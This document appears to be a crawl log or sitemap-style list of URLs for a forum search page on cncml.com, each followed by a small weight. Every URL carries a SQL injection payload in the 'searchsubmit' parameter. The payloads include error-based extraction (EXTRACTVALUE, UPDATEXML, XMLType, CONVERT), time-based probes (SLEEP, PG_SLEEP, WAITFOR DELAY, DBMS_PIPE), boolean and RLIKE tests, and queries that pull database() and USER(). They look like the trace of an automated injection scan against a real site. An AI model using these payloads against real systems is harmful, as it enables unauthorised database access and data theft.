http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=ELT(78=42,0x74727565) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=MAKE_SET(37=33,0x74727565) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=convert(int,('s'elect'%20char(106)%2bchar(58))) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true 0.0005 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true%20AND%201997=PG_SLEEP(5) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true%20AND%205=SLEEP(5) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true%20AND%20PG_SLEEP(5) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true%20OR%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true%20OR%205=SLEEP(5) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true%20OR%20@%60'%60%20AND%20(SELECT%20*%20FROM%20(SELECT%20COUNT(*),CONCAT(FLOOR(rand(0)*2),(SELECT%20USER()))a%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20a)b)%20OR%20@%60'%60 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true%20RLIKE%20(SELECT%20(CASE%20WHEN%20(17=16)%20THEN%200x74727565%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true%20RLIKE%20(SELECT%20(CASE%20WHEN%20(56=56)%20THEN%200x74727565%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true%20WAITFOR%20DELAY%20'0:0:5' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true%22%20AND%20%22hQ%22=%22D2 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true%22)%20AND%2028=95%20AND%20(%22KD%22=%22KD 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true%25%22%29%20AND%2065%3D21%20AND%201%20like%28%22%25 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true%25%27%29%20AND%2087%3D31%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true%25'%20AND%2066=54%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(51=51)%20THEN%200x74727565%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(55=71)%20THEN%200x74727565%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true%27%2b(SELECT+1+FROM+(SELECT+SLEEP(5))A)%2b%27 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true&&&&&&&&&&&&&&&&&&& 0.0002 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true'%20AND%20'Eg'%20LIKE%20'am 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true'%20AND%20'kJ'='yW 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true'%20AND%201471=UTL_INADDR.GET_HOST_ADDRESS(CHR(101)%7C%7CCHR(99)%7C%7CCHR(114)%7C%7CCHR(121)%7C%7CCHR(58)%7C%7CCHR(102)%7C%7C(SELECT%20(CASE%20WHEN%20(630=630)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(105)%7C%7CCHR(110)%7C%7CCHR(100)%7C%7CCHR(58)%7C%7CCHR(120)%7C%7CCHR(108))%20AND%20'OGmp'='OGmp 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true'%20AND%20PG_SLEEP(5)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true'%20AND%20SLEEP(5)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true'%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20'zl'='lz 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true'%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20OR%20'NASDAQ'='ASDAQ 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true'%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20OR%20'Ta'='At 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true'%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true'%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(12=86)%20THEN%200x74727565%20ELSE%200x28%20END))%20AND%20'e4'='e4 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(72=72)%20THEN%200x74727565%20ELSE%200x28%20END))%20AND%20'do'='do 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true'%2b(SELECT%20CONVERT(INT,CHAR(106)%2bCHAR(106)%2bCHAR(106))%20FROM%20SYSCOLUMNS)%2b' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true'%7C%7CCTXSYS.DRITHSX.SN(user,(select%20chr(104)%7C%7Cchr(105)%7C%7Cchr(58)%7C%7Cchr(102)%7C%7Cchr(105)%7C%7Cchr(110)%7C%7Cchr(100)%7C%7Cchr(58)%7C%7Cchr(105)%7C%7Cchr(116)%20from%20DUAL))%7C%7C' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true')%20AND%20('ws'%20LIKE%20'Cb 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true')%20AND%2011=15%20AND%20('76'='76 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true')%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20('TnT'='TnT 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true')%20AND%20SLEEP(5)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true')%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20('eEye'='eye 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true')%20OR%2025=25%20AND%20('1A'='1A 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(21=26)%20THEN%200x74727565%20ELSE%200x28%20END))%20AND%20('sf'='sf 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(51=51)%20THEN%200x74727565%20ELSE%200x28%20END))%20AND%20('h8'='h8 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true'/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106)/**/AND/**/'zl'='zl 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20(9=9 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20(9=9 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20(9=9 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true)%20AND%20SLEEP(5)%20AND%20(9=9 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20(9=9 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true)%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20(9=8 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(41=81)%20THEN%200x74727565%20ELSE%200x28%20END))%20AND%20(41=41 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(58=58)%20THEN%200x74727565%20ELSE%200x28%20END))%20AND%20(15=15 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true,%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true,%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 